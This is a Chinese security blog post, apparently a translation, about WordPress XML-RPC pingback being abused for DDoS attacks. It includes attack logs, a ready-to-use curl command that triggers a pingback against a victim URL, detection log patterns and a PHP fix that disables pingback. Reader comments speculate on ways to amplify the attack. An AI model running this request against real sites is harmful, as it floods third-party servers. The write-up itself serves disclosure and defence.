超过16W的WordPress网站被用来做DDoS攻击

enter image description here

任何开启了Pingback(默认就开启)的WordPress的站点可以被用来做DDOS攻击其它服务器。

看如下日志:

1
2
3
4
5
6
#!bash
74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com"
121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com"
217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr"
193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de"
..

可以发现每次请求还增加了随机数/?3162504=9747583以此来绕过缓存。

测试这种攻击方式只需要一个curl命令就可以了:

1
2
#!bash
$ curl -D -  "www.anywordpresssite.com/xmlrpc.php" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.anywordpresssite.com/postchosen</string></value></param></params></methodCall>'

想要看你自己的网站是否被用来做了攻击可以查看日志当中是否包含类似如下的内容:

1
2
3
4
#!bash
93.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:<?xml version=\x221.0\x22 encoding=\x22iso-8859-1\x22?>\x0A<methodCall>\x0A<methodName>pingback.ping</methodName>\x0A<params>\x0A <param>\x0A  <value>\x0A   <string>http://fastbet99.com/?1698491=8940641</string>\x0A  </value>\x0A </param>\x0A <param>\x0A  <value>\x0A   <string>yoursite.com</string>\x0A  </value>\x0A </param>\x0A</params>\x0A</methodCall>\x0A"

94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"

防御此问题的推荐方法需要屏蔽 XML-RPC (pingback) 的功能,WordPress主题中添加如下代码:

1
2
3
4
5
#!php
add_filter( 'xmlrpc_methods', function( $methods ) {
   unset( $methods['pingback.ping'] );
   return $methods;
} );

Comment

评论:之前一直觉得wordpress里有些url请求很奇怪,看到这篇恍然大悟!

评论:屏蔽 XML-RPC (pingback) 的功能,不会因噎废食么?

评论:proxy代理没有wordpress好找不

评论:让他去GET一个几个G的大文件呢?
几万个服务器去你服务器上下载一个超大文件~

评论:那为啥不找Proxy代理……

评论:是不是为了隐藏自己的肉鸡啊

评论:感觉好逗。接到POST包的blog a会去GET一下目标的某页面,这样受到伤害最大的是被利用的blog a本身,木有放大啊……用多个blog去ping一个,还不如用一个blog a去ping很多blog,POST包+返回response淹没blog a。难道是我测试的blog配置比较特殊?

评论:好思路!

评论:咋样测试此漏洞存在冷?

评论:每次看到这个w的图标就有种看到一辆辆的上海大众,大家有没有?

评论:东莞人民需要你!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*